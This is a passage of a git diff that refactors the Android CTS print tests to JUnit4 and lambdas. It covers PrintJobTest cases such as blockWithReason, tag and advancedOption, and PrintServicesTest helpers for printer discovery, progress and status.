+            // We don't use the second service, but we have to still configure it
+            SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
-                    // No need to repeat what previously failed
-                    if (knownFailures[state1][state2]
-                            || knownFailures[state2][state3]) {
-                        continue;
-                    }
+            // Create a print adapter that respects the print contract.
+            PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
-                    // QUEUED does not actually set a state, see setState
-                    if (state1 == PrintJobInfo.STATE_QUEUED) {
-                        continue;
-                    }
+            makeDefaultPrinter(adapter, PRINTER_NAME);
 
-                    Log.i(LOG_TAG, "Test " + state1 + " -> " + state2 + " -> " + state3);
-
-                    baseTest(new PrintJobTestFn() {
-                        @Override
-                        public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                            knownFailures[PrintJobInfo.STATE_QUEUED][state1] = true;
-
-                            boolean success = setState(printJob, state1);
-                            assertEquals(isStateTransitionAllowed(PrintJobInfo.STATE_QUEUED,
-                                    state1), success);
-                            if (!success) {
-                                return;
-                            }
-                            checkState(printJob, state1);
-
-                            knownFailures[PrintJobInfo.STATE_QUEUED][state1] = false;
-
-                            knownFailures[state1][state2] = true;
-
-                            success = setState(printJob, state2);
-                            assertEquals(isStateTransitionAllowed(state1, state2), success);
-                            if (!success) {
-                                return;
-                            }
-                            checkState(printJob, state2);
-
-                            knownFailures[state1][state2] = false;
-
-                            knownFailures[state2][state3] = true;
-
-                            success = setState(printJob, state3);
-                            assertEquals(isStateTransitionAllowed(state2, state3), success);
-                            if (!success) {
-                                return;
-                            }
-                            checkState(printJob, state3);
-
-                            knownFailures[state2][state3] = false;
-                        }
-                    }, testCaseNum);
-
-                    testCaseNum++;
-                }
-            }
-        }
-    }
-
-    public void testBlockWithReason() throws Exception {
-        baseTest(new PrintJobTestFn() {
-            @Override
-            public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                printJob.start();
-                checkState(printJob, PrintJobInfo.STATE_STARTED);
-
-                printJob.setStatus(R.string.testStr1);
-                eventually(() -> assertEquals(getActivity().getString(R.string.testStr1),
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-
-                boolean success = printJob.block("test reason");
-                assertTrue(success);
-                checkState(printJob, PrintJobInfo.STATE_BLOCKED);
-                eventually(() -> assertEquals("test reason",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-
-                success = printJob.block("another reason");
-                assertFalse(success);
-                checkState(printJob, PrintJobInfo.STATE_BLOCKED);
-                eventually(() -> assertEquals("test reason",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-
-                printJob.setStatus(R.string.testStr2);
-                eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-            }
-        }, 0);
-    }
-
-    public void testFailWithReason() throws Exception {
-        baseTest(new PrintJobTestFn() {
-            @Override
-            public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                printJob.start();
-                checkState(printJob, PrintJobInfo.STATE_STARTED);
-
-                boolean success = printJob.fail("test reason");
-                assertTrue(success);
-                checkState(printJob, PrintJobInfo.STATE_FAILED);
-                eventually(() -> assertEquals("test reason",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-
-                success = printJob.fail("another reason");
-                assertFalse(success);
-                checkState(printJob, PrintJobInfo.STATE_FAILED);
-                eventually(() -> assertEquals("test reason",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-            }
-        }, 0);
-    }
-
-    public void testTag() throws Exception {
-        baseTest(new PrintJobTestFn() {
-            @Override
-            public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                // Default value should be null
-                assertNull(printJob.getTag());
-
-                printJob.setTag("testTag");
-                eventually(() -> assertEquals("testTag", printJob.getTag()));
-
-                printJob.setTag(null);
-                eventually(() -> assertNull(printJob.getTag()));
-            }
-        }, 0);
-    }
-
-    public void testAdvancedOption() throws Exception {
-        if (!supportsPrinting()) {
-            return;
+            sHasBeenSetUp = true;
         }
 
+        resetCounters();
+    }
+
+    @Test
+    public void blockWithReason() throws Exception {
+        baseTest(printJob -> {
+            printJob.start();
+            checkState(printJob, PrintJobInfo.STATE_STARTED);
+
+            printJob.setStatus(R.string.testStr1);
+            eventually(() -> assertEquals(getActivity().getString(R.string.testStr1),
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+
+            boolean success = printJob.block("test reason");
+            assertTrue(success);
+            checkState(printJob, PrintJobInfo.STATE_BLOCKED);
+            eventually(() -> assertEquals("test reason",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+
+            success = printJob.block("another reason");
+            assertFalse(success);
+            checkState(printJob, PrintJobInfo.STATE_BLOCKED);
+            eventually(() -> assertEquals("test reason",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+
+            printJob.setStatus(R.string.testStr2);
+            eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+        });
+    }
+
+    @Test
+    public void failWithReason() throws Exception {
+        baseTest(printJob -> {
+            printJob.start();
+            checkState(printJob, PrintJobInfo.STATE_STARTED);
+
+            boolean success = printJob.fail("test reason");
+            assertTrue(success);
+            checkState(printJob, PrintJobInfo.STATE_FAILED);
+            eventually(() -> assertEquals("test reason",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+
+            success = printJob.fail("another reason");
+            assertFalse(success);
+            checkState(printJob, PrintJobInfo.STATE_FAILED);
+            eventually(() -> assertEquals("test reason",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+        });
+    }
+
+    @Test
+    public void tag() throws Exception {
+        baseTest(printJob -> {
+            // Default value should be null
+            assertNull(printJob.getTag());
+
+            printJob.setTag("testTag");
+            eventually(() -> assertEquals("testTag", printJob.getTag()));
+
+            printJob.setTag(null);
+            eventually(() -> assertNull(printJob.getTag()));
+        });
+    }
+
+    @Test
+    public void advancedOption() throws Exception {
         testSuccess[0] = false;
 
         // Create the session of the printers that we will be checking.
@@ -542,34 +302,31 @@
 
         // Create the service callbacks for the first print service.
         PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
-                sessionCallbacks, new PrintJobTestFn() {
-                    @Override
-                    public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                        assertTrue(printJob.hasAdvancedOption(VALID_STRING_KEY));
-                        assertEquals(STRING_VALUE, printJob.getAdvancedStringOption(VALID_STRING_KEY));
+                sessionCallbacks, printJob -> {
+                    assertTrue(printJob.hasAdvancedOption(VALID_STRING_KEY));
+                    assertEquals(STRING_VALUE, printJob.getAdvancedStringOption(VALID_STRING_KEY));
 
-                        assertFalse(printJob.hasAdvancedOption(INVALID_STRING_KEY));
-                        assertNull(printJob.getAdvancedStringOption(INVALID_STRING_KEY));
+                    assertFalse(printJob.hasAdvancedOption(INVALID_STRING_KEY));
+                    assertNull(printJob.getAdvancedStringOption(INVALID_STRING_KEY));
 
-                        assertTrue(printJob.hasAdvancedOption(VALID_INT_KEY));
-                        assertEquals(INT_VALUE, printJob.getAdvancedIntOption(VALID_INT_KEY));
+                    assertTrue(printJob.hasAdvancedOption(VALID_INT_KEY));
+                    assertEquals(INT_VALUE, printJob.getAdvancedIntOption(VALID_INT_KEY));
 
-                        assertTrue(printJob.hasAdvancedOption(VALID_NULL_KEY));
-                        assertNull(printJob.getAdvancedStringOption(VALID_NULL_KEY));
+                    assertTrue(printJob.hasAdvancedOption(VALID_NULL_KEY));
+                    assertNull(printJob.getAdvancedStringOption(VALID_NULL_KEY));
 
-                        assertFalse(printJob.hasAdvancedOption(INVALID_INT_KEY));
-                        assertEquals(0, printJob.getAdvancedIntOption(INVALID_INT_KEY));
+                    assertFalse(printJob.hasAdvancedOption(INVALID_INT_KEY));
+                    assertEquals(0, printJob.getAdvancedIntOption(INVALID_INT_KEY));
 
-                        assertNull(printJob.getAdvancedStringOption(VALID_INT_KEY));
-                        assertEquals(0, printJob.getAdvancedIntOption(VALID_STRING_KEY));
-                    }
+                    assertNull(printJob.getAdvancedStringOption(VALID_INT_KEY));
+                    assertEquals(0, printJob.getAdvancedIntOption(VALID_STRING_KEY));
                 });
 
+        final int[] callCount = new int[1];
+
         CustomPrintOptionsActivity.setCallBack(
-                new CustomPrintOptionsActivity.CustomPrintOptionsCallback() {
-                    @Override
-                    public PrintJobInfo executeCustomPrintOptionsActivity(
-                            PrintJobInfo printJob, PrinterInfo printer) {
+                (printJob, printer) -> {
+                    if (callCount[0] == 0) {
                         PrintJobInfo.Builder printJobBuilder = new PrintJobInfo.Builder(printJob);
 
                         try {
@@ -588,7 +345,40 @@
 
                         printJobBuilder.putAdvancedOption(VALID_NULL_KEY, null);
 
+                        // Rotate the media size to force adapter to write again
+                        PrintAttributes.Builder attributeBuilder = new PrintAttributes.Builder();
+                        attributeBuilder.setMediaSize(printJob.getAttributes().getMediaSize()
+                                .asLandscape());
+                        attributeBuilder.setResolution(printJob.getAttributes().getResolution());
+                        attributeBuilder.setDuplexMode(printJob.getAttributes().getDuplexMode());
+                        attributeBuilder.setColorMode(printJob.getAttributes().getColorMode());
+                        attributeBuilder.setMinMargins(printJob.getAttributes().getMinMargins());
+
+                        printJobBuilder.setAttributes(attributeBuilder.build());
+
                         return printJobBuilder.build();
+                    } else {
+                        // Check that options are readable
+                        assertTrue(printJob.hasAdvancedOption(VALID_STRING_KEY));
+                        assertEquals(STRING_VALUE,
+                                printJob.getAdvancedStringOption(VALID_STRING_KEY));
+
+                        assertFalse(printJob.hasAdvancedOption(INVALID_STRING_KEY));
+                        assertNull(printJob.getAdvancedStringOption(INVALID_STRING_KEY));
+
+                        assertTrue(printJob.hasAdvancedOption(VALID_INT_KEY));
+                        assertEquals(INT_VALUE, printJob.getAdvancedIntOption(VALID_INT_KEY));
+
+                        assertTrue(printJob.hasAdvancedOption(VALID_NULL_KEY));
+                        assertNull(printJob.getAdvancedStringOption(VALID_NULL_KEY));
+
+                        assertFalse(printJob.hasAdvancedOption(INVALID_INT_KEY));
+                        assertEquals(0, printJob.getAdvancedIntOption(INVALID_INT_KEY));
+
+                        assertNull(printJob.getAdvancedStringOption(VALID_INT_KEY));
+                        assertEquals(0, printJob.getAdvancedIntOption(VALID_STRING_KEY));
+
+                        return null;
                     }
                 });
 
@@ -599,16 +389,46 @@
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
-        print(adapter);
+        print(adapter, "advancedOption");
 
-        selectPrinter(PRINTER_NAME);
+        waitForWriteAdapterCallback(1);
+
         openPrintOptions();
         openCustomPrintOptions();
+
+        waitForWriteAdapterCallback(2);
+
+        callCount[0]++;
+
+        // The advanced option should not be readable from the activity
+        getActivity().getSystemService(PrintManager.class).getPrintJobs().stream()
+                .filter(printJob -> printJob.getInfo().getLabel().equals("advancedOption"))
+                .forEach(printJob -> {
+                    assertFalse(printJob.getInfo().hasAdvancedOption(VALID_STRING_KEY));
+                    assertEquals(null,
+                            printJob.getInfo().getAdvancedStringOption(VALID_STRING_KEY));
+
+                    assertFalse(printJob.getInfo().hasAdvancedOption(INVALID_STRING_KEY));
+                    assertNull(printJob.getInfo().getAdvancedStringOption(INVALID_STRING_KEY));
+
+                    assertFalse(printJob.getInfo().hasAdvancedOption(VALID_INT_KEY));
+                    assertEquals(0, printJob.getInfo().getAdvancedIntOption(VALID_INT_KEY));
+
+                    assertFalse(printJob.getInfo().hasAdvancedOption(VALID_NULL_KEY));
+                    assertNull(printJob.getInfo().getAdvancedStringOption(VALID_NULL_KEY));
+
+                    assertFalse(printJob.getInfo().hasAdvancedOption(INVALID_INT_KEY));
+                    assertEquals(0, printJob.getInfo().getAdvancedIntOption(INVALID_INT_KEY));
+
+                    assertNull(printJob.getInfo().getAdvancedStringOption(VALID_INT_KEY));
+                    assertEquals(0, printJob.getInfo().getAdvancedIntOption(VALID_STRING_KEY));
+                });
+
+        openCustomPrintOptions();
         clickPrintButton();
-        answerPrintServicesWarning(true);
 
         // Wait for print job to be queued
         waitForServiceOnPrintJobQueuedCallbackCalled(1);
@@ -621,58 +441,54 @@
         }
     }
 
-    public void testOther() throws Exception {
-        baseTest(new PrintJobTestFn() {
-            @Override
-            public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                assertNotNull(printJob.getDocument());
-                assertNotNull(printJob.getId());
-            }
-        }, 0);
+    @Test
+    public void other() throws Exception {
+        baseTest(printJob -> {
+            assertNotNull(printJob.getDocument());
+            assertNotNull(printJob.getId());
+        });
     }
 
-    public void testSetStatus() throws Exception {
-        baseTest(new PrintJobTestFn() {
-            @Override
-            public void onPrintJobQueued(PrintJob printJob) throws Exception {
-                printJob.start();
+    @Test
+    public void setStatus() throws Exception {
+        baseTest(printJob -> {
+            printJob.start();
 
-                printJob.setStatus(R.string.testStr1);
-                eventually(() -> assertEquals(getActivity().getString(R.string.testStr1),
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus(R.string.testStr1);
+            eventually(() -> assertEquals(getActivity().getString(R.string.testStr1),
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus("testStr3");
-                eventually(() -> assertEquals("testStr3",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus("testStr3");
+            eventually(() -> assertEquals("testStr3",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus(R.string.testStr2);
-                eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus(R.string.testStr2);
+            eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus(null);
-                eventually(() -> assertNull(
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus(null);
+            eventually(() -> assertNull(
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.block("testStr4");
-                eventually(() -> assertEquals("testStr4",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.block("testStr4");
+            eventually(() -> assertEquals("testStr4",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus(R.string.testStr2);
-                eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus(R.string.testStr2);
+            eventually(() -> assertEquals(getActivity().getString(R.string.testStr2),
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus(0);
-                eventually(() -> assertNull(
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus(0);
+            eventually(() -> assertNull(
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus("testStr3");
-                eventually(() -> assertEquals("testStr3",
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
+            printJob.setStatus("testStr3");
+            eventually(() -> assertEquals("testStr3",
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
 
-                printJob.setStatus(-1);
-                eventually(() -> assertNull(
-                        printJob.getInfo().getStatus(getActivity().getPackageManager())));
-            }
-        }, 0);
+            printJob.setStatus(-1);
+            eventually(() -> assertNull(
+                    printJob.getInfo().getStatus(getActivity().getPackageManager())));
+        });
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index ccb1f07..7be5fc1 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -19,6 +19,7 @@
 import android.app.Activity;
 import android.app.PendingIntent;
 import android.content.ComponentName;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
@@ -28,315 +29,207 @@
 import android.graphics.Canvas;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Icon;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.SystemClock;
-import android.print.PageRange;
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
 import android.print.PrintAttributes.Resolution;
 import android.print.PrintDocumentAdapter;
-import android.print.PrintDocumentAdapter.LayoutResultCallback;
-import android.print.PrintDocumentAdapter.WriteResultCallback;
-import android.print.PrintDocumentInfo;
+import android.print.PrintManager;
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
 import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.InfoActivity;
 import android.print.cts.services.PrintServiceCallbacks;
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
 import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
+import android.printservice.PrintService;
+import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
-
-import junit.framework.AssertionFailedError;
-
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.Date;
 import java.util.List;
-import java.util.concurrent.TimeoutException;
+
+import static android.print.cts.Utils.*;
+import static org.junit.Assert.*;
 
 /**
  * Test the interface from a print service to the print manager
  */
+@RunWith(AndroidJUnit4.class)
 public class PrintServicesTest extends BasePrintTest {
     private static final String PRINTER_NAME = "Test printer";
-    private static final int NUM_PAGES = 2;
 
     /** The print job processed in the test */
-    private static PrintJob mPrintJob;
-
-    /** The current progress of #mPrintJob once read from the system */
-    private static float mPrintProgress;
+    private static PrintJob sPrintJob;
 
     /** Printer under test */
-    private static PrinterInfo mPrinter;
-
-    /** The printer discovery session used in this test */
-    private static StubbablePrinterDiscoverySession mDiscoverySession;
-
-    /** The current status of #mPrintJob once read from the system */
-    private static CharSequence mPrintStatus;
+    private static PrinterInfo sPrinter;
 
     /** The custom printer icon to use */
     private Icon mIcon;
 
     /**
-     * Create a mock {@link PrintDocumentAdapter} that provides {@link #NUM_PAGES} empty pages.
-     *
-     * @return The mock adapter
-     */
-    private PrintDocumentAdapter createMockPrintDocumentAdapter() {
-        final PrintAttributes[] printAttributes = new PrintAttributes[1];
-
-        return createMockPrintDocumentAdapter(
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        printAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
-                        LayoutResultCallback callback = (LayoutResultCallback) invocation
-                                .getArguments()[3];
-
-                        PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
-                                .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
-                                .setPageCount(NUM_PAGES)
-                                .build();
-
-                        callback.onLayoutFinished(info, false);
-
-                        // Mark layout was called.
-                        onLayoutCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        Object[] args = invocation.getArguments();
-                        PageRange[] pages = (PageRange[]) args[0];
-                        ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
-                        WriteResultCallback callback = (WriteResultCallback) args[3];
-
-                        writeBlankPages(printAttributes[0], fd, pages[0].getStart(),
-                                pages[0].getEnd());
-                        fd.close();
-                        callback.onWriteFinished(pages);
-
-                        // Mark write was called.
-                        onWriteCalled();
-                        return null;
-                    }
-                }, new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) throws Throwable {
-                        // Mark finish was called.
-                        onFinishCalled();
-                        return null;
-                    }
-                });
-    }
-
-    /**
      * Create a mock {@link PrinterDiscoverySessionCallbacks} that discovers a single printer with
      * minimal capabilities.
      *
      * @return The mock session callbacks
      */
-    private PrinterDiscoverySessionCallbacks createFirstMockPrinterDiscoverySessionCallbacks() {
-        return createMockPrinterDiscoverySessionCallbacks(new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) {
-                // Get the session.
-                mDiscoverySession = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
-                        .getSession();
+    private PrinterDiscoverySessionCallbacks createMockPrinterDiscoverySessionCallbacks(
+            String printerName, ArrayList<String> trackedPrinters) {
+        return createMockPrinterDiscoverySessionCallbacks(invocation -> {
+            // Get the session.
+            StubbablePrinterDiscoverySession session =
+                    ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
 
-                if (mDiscoverySession.getPrinters().isEmpty()) {
-                    List<PrinterInfo> printers = new ArrayList<PrinterInfo>();
+            if (session.getPrinters().isEmpty()) {
+                List<PrinterInfo> printers = new ArrayList<>();
 
-                    // Add the printer.
-                    PrinterId printerId = mDiscoverySession.getService()
-                            .generatePrinterId(PRINTER_NAME);
+                // Add the printer.
+                PrinterId printerId = session.getService()
+                        .generatePrinterId(printerName);
 
-                    PrinterCapabilitiesInfo capabilities = new PrinterCapabilitiesInfo.Builder(
-                            printerId)
-                                    .setMinMargins(new Margins(200, 200, 200, 200))
-                                    .addMediaSize(MediaSize.ISO_A4, true)
-                                    .addResolution(new Resolution("300x300", "300x300", 300, 300),
-                                            true)
-                                    .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                                            PrintAttributes.COLOR_MODE_COLOR)
-                                    .build();
+                PrinterCapabilitiesInfo capabilities = new PrinterCapabilitiesInfo.Builder(
+                        printerId)
+                        .setMinMargins(new Margins(200, 200, 200, 200))
+                        .addMediaSize(MediaSize.ISO_A4, true)
+                        .addResolution(new Resolution("300x300", "300x300", 300, 300),
+                                true)
+                        .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                                PrintAttributes.COLOR_MODE_COLOR)
+                        .build();
 
-                    Intent infoIntent = new Intent(getActivity(), Activity.class);
-                    PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
-                            infoIntent, PendingIntent.FLAG_IMMUTABLE);
+                Intent infoIntent = new Intent(getActivity(), InfoActivity.class);
+                infoIntent.putExtra("PRINTER_NAME", PRINTER_NAME);
 
-                    mPrinter = new PrinterInfo.Builder(printerId, PRINTER_NAME,
-                            PrinterInfo.STATUS_IDLE)
-                                    .setCapabilities(capabilities)
-                                    .setDescription("Minimal capabilities")
-                                    .setInfoIntent(infoPendingIntent)
-                                    .build();
-                    printers.add(mPrinter);
+                PendingIntent infoPendingIntent = PendingIntent.getActivity(getActivity(), 0,
+                        infoIntent, PendingIntent.FLAG_UPDATE_CURRENT);
 
-                    mDiscoverySession.addPrinters(printers);
+                sPrinter = new PrinterInfo.Builder(printerId, printerName,
+                        PrinterInfo.STATUS_IDLE)
+                        .setCapabilities(capabilities)
+                        .setDescription("Minimal capabilities")
+                        .setInfoIntent(infoPendingIntent)
+                        .build();
+                printers.add(sPrinter);
+
+                session.addPrinters(printers);
+            }
+
+            onPrinterDiscoverySessionCreateCalled();
+
+            return null;
+        }, null, null, invocation -> {
+            if (trackedPrinters != null) {
+                synchronized (trackedPrinters) {
+                    trackedPrinters
+                            .add(((PrinterId) invocation.getArguments()[0]).getLocalId());
+                    trackedPrinters.notifyAll();
                 }
-                return null;
             }
-        }, null, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                return null;
-            }
-        }, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                CustomPrinterIconCallback callback = (CustomPrinterIconCallback) invocation
-                        .getArguments()[2];
+            return null;
+        }, invocation -> {
+            CustomPrinterIconCallback callback = (CustomPrinterIconCallback) invocation
+                    .getArguments()[2];
 
-                if (mIcon != null) {
-                    callback.onCustomPrinterIconLoaded(mIcon);
+            if (mIcon != null) {
+                callback.onCustomPrinterIconLoaded(mIcon);
+            }
+            return null;
+        }, invocation -> {
+            if (trackedPrinters != null) {
+                synchronized (trackedPrinters) {
+                    trackedPrinters.remove(((PrinterId) invocation.getArguments()[0]).getLocalId());
+                    trackedPrinters.notifyAll();
                 }
-                return null;
             }
-        }, null, new Answer<Void>() {
-            @Override
-            public Void answer(InvocationOnMock invocation) throws Throwable {
-                // Take a note onDestroy was called.
-                onPrinterDiscoverySessionDestroyCalled();
-                return null;
-            }
+
+            return null;
+        }, invocation -> {
+            // Take a note onDestroy was called.
+            onPrinterDiscoverySessionDestroyCalled();
+            return null;
         });
     }
 
     /**
-     * Get the current progress of #mPrintJob
+     * Get the current progress of #sPrintJob
      *
      * @return The current progress
+     *
      * @throws InterruptedException If the thread was interrupted while setting the progress
+     * @throws Throwable            If anything is unexpected.
      */
-    private float getProgress() throws InterruptedException {
-        final PrintServicesTest synchronizer = PrintServicesTest.this;
+    private float getProgress() throws Throwable {
+        float[] printProgress = new float[1];
+        runOnMainThread(() -> printProgress[0] = sPrintJob.getInfo().getProgress());
 
-        synchronized (synchronizer) {
-            Runnable getter = new Runnable() {
-                @Override
-                public void run() {
-                    synchronized (synchronizer) {
-                        mPrintProgress = mPrintJob.getInfo().getProgress();
-
-                        synchronizer.notify();
-                    }
-                }
-            };
-
-            (new Handler(Looper.getMainLooper())).post(getter);
-
-            synchronizer.wait();
-        }
-
-        return mPrintProgress;
+        return printProgress[0];
     }
 
     /**
-     * Get the current status of #mPrintJob
+     * Get the current status of #sPrintJob
      *
      * @return The current status
+     *
      * @throws InterruptedException If the thread was interrupted while getting the status
+     * @throws Throwable            If anything is unexpected.
      */
-    private CharSequence getStatus() throws InterruptedException {
-        final PrintServicesTest synchronizer = PrintServicesTest.this;
+    private CharSequence getStatus() throws Throwable {
+        CharSequence[] printStatus = new CharSequence[1];
+        runOnMainThread(() -> printStatus[0] = sPrintJob.getInfo().getStatus(getActivity()
+                .getPackageManager()));
 
-        synchronized (synchronizer) {
-            Runnable getter = new Runnable() {
-                @Override
-                public void run() {
-                    synchronized (synchronizer) {
-                        mPrintStatus = mPrintJob.getInfo()
-                                .getStatus(getActivity().getPackageManager());
-
-                        synchronizer.notify();
-                    }
-                }
-            };
-
-            (new Handler(Looper.getMainLooper())).post(getter);
-
-            synchronizer.wait();
-        }
-
-        return mPrintStatus;
+        return printStatus[0];
     }
 
     /**
      * Check if a print progress is correct.
      *
      * @param desiredProgress The expected @{link PrintProgresses}
-     * @throws Exception If anything goes wrong or this takes more than 5 seconds
+     *
+     * @throws Throwable If anything goes wrong or this takes more than 5 seconds
      */
-    private void checkNotification(float desiredProgress,
-            CharSequence desiredStatus) throws Exception {
-        final long TIMEOUT = 5000;
-        final Date start = new Date();
-
-        while ((new Date()).getTime() - start.getTime() < TIMEOUT) {
-            if (desiredProgress == getProgress()
-                    && desiredStatus.toString().equals(getStatus().toString())) {
-                return;
-            }
-
-            Thread.sleep(200);
-        }
-
-        throw new TimeoutException("Progress or status not updated in " + TIMEOUT + " ms");
+    private void checkNotification(float desiredProgress, CharSequence desiredStatus)
+            throws Throwable {
+        eventually(() -> assertEquals(desiredProgress, getProgress(), 0.1));
+        eventually(() -> assertEquals(desiredStatus.toString(), getStatus().toString()));
     }
 
     /**
-     * Set a new progress and status for #mPrintJob
+     * Set a new progress and status for #sPrintJob
      *
      * @param progress The new progress to set
-     * @param status The new status to set
+     * @param status   The new status to set
+     *
      * @throws InterruptedException If the thread was interrupted while setting
+     * @throws Throwable            If anything is unexpected.
      */
     private void setProgressAndStatus(final float progress, final CharSequence status)
-            throws InterruptedException {
-        final PrintServicesTest synchronizer = PrintServicesTest.this;
-
-        synchronized (synchronizer) {
-            Runnable completer = new Runnable() {
-                @Override
-                public void run() {
-                    synchronized (synchronizer) {
-                        mPrintJob.setProgress(progress);
-                        mPrintJob.setStatus(status);
-
-                        synchronizer.notify();
-                    }
-                }
-            };
-
-            (new Handler(Looper.getMainLooper())).post(completer);
-
-            synchronizer.wait();
-        }
+            throws Throwable {
+        runOnMainThread(() -> {
+            sPrintJob.setProgress(progress);
+            sPrintJob.setStatus(status);
+        });
     }
 
     /**
      * Progress print job and check the print job state.
      *
      * @param progress How much to progress
-     * @param status The status to set
-     * @throws Exception If anything goes wrong.
+     * @param status   The status to set
+     *
+     * @throws Throwable If anything goes wrong.
      */
-    private void progress(float progress, CharSequence status) throws Exception {
+    private void progress(float progress, CharSequence status) throws Throwable {
         setProgressAndStatus(progress, status);
 
         // Check that progress of job is correct
@@ -348,43 +241,37 @@
      *
      * @param sessionCallbacks The callbacks of the sessopm
      */
-    private PrintServiceCallbacks createFirstMockPrinterServiceCallbacks(
+    private PrintServiceCallbacks createMockPrinterServiceCallbacks(
             final PrinterDiscoverySessionCallbacks sessionCallbacks) {
         return createMockPrintServiceCallbacks(
-                new Answer<PrinterDiscoverySessionCallbacks>() {
-                    @Override
-                    public PrinterDiscoverySessionCallbacks answer(InvocationOnMock invocation) {
-                        return sessionCallbacks;
-                    }
-                },
-                new Answer<Void>() {
-                    @Override
-                    public Void answer(InvocationOnMock invocation) {
-                        mPrintJob = (PrintJob) invocation.getArguments()[0];
-                        mPrintJob.start();
-                        onPrintJobQueuedCalled();
+                invocation -> sessionCallbacks,
+                invocation -> {
+                    sPrintJob = (PrintJob) invocation.getArguments()[0];
+                    sPrintJob.start();
+                    onPrintJobQueuedCalled();
 
-                        return null;
-                    }
-                }, null);
+                    return null;
+                }, invocation -> {
+                    sPrintJob = (PrintJob) invocation.getArguments()[0];
+                    sPrintJob.cancel();
+
+                    return null;
+                });
